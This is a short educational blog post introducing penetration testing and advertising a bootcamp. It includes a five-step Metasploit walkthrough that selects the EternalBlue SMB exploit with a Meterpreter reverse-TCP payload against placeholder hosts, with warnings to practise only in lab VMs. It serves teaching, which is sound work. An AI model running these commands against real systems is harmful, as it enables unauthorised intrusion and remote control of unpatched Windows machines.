Introduction to Penetration Testing

Published on 11 July 2025 at 22:25

What Is Penetration Testing?

Penetration Testing (or “pen testing”) is a simulated cyberattack performed by ethical hackers to test a system’s security. It’s more than just scanning for vulnerabilities; it’s about exploiting them to prove real-world risk, just like a cybercriminal might.

Pen testers help organisations:

  • Uncover weaknesses in systems, networks, or applications

  • Demonstrate the impact of vulnerabilities

  • Provide actionable remediation advice


๐Ÿ›  Try This at Home: Launch a Test Exploit in Metasploit

 

Tool Highlight: Metasploit Framework

Metasploit is a powerful penetration testing tool used by ethical hackers to simulate real attacks.

 

Basic Setup (on Kali Linux or Virtual Machine):

๐Ÿ–ฅ๏ธ First, make sure you have Metasploit installed (Kali Linux comes preinstalled with it).

 

Step 1: Open the Metasploit console

  • msfconsole

Step 2: Search for a test exploit

  • search windows/smb/ms17_010_eternalblue

๐Ÿงช Note: We are only practising in a virtual environment (e.g., Metasploitable2 or a sandboxed Windows VM). Never test on live systems without permission.

Step 3: Use an exploit module

  • Use exploit/windows/smb/ms17_010_eternalblue

Step 4: Set your options

  • set RHOSTS <target_IP> set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <your_IP>

Step 5: Run the exploit

  • exploit

๐Ÿ’ก This demonstrates how attackers take advantage of unpatched systems. Practice responsibly using legal test environments only.


๐ŸŽ“ Why Learn Penetration Testing?

 

Penetration testing builds real-world cybersecurity skills:

  • Understand how attackers operate

  • Learn to defend by attacking

  • Identify and fix security holes before criminals find them

  • Qualify for high-paying roles like Pen Tester, Red Team Analyst, or Security Consultant

๐Ÿš€ Join Our Penetration Testing Bootcamp

 

Want to gain hands-on skills using Metasploit, Burp Suite, and Wireshark?

๐ŸŽฏ Our Penetration Testing Foundation Program gives you:

  • Guided labs & challenges

  • Weekly live support

  • Access to real-world tools

  • Self-paced video content

๐Ÿ“š Start Learning Today – Build the offensive skills needed to defend the digital world.

Author: Zeeshan Siddiqui, PhD, FHEA, SMIEEE

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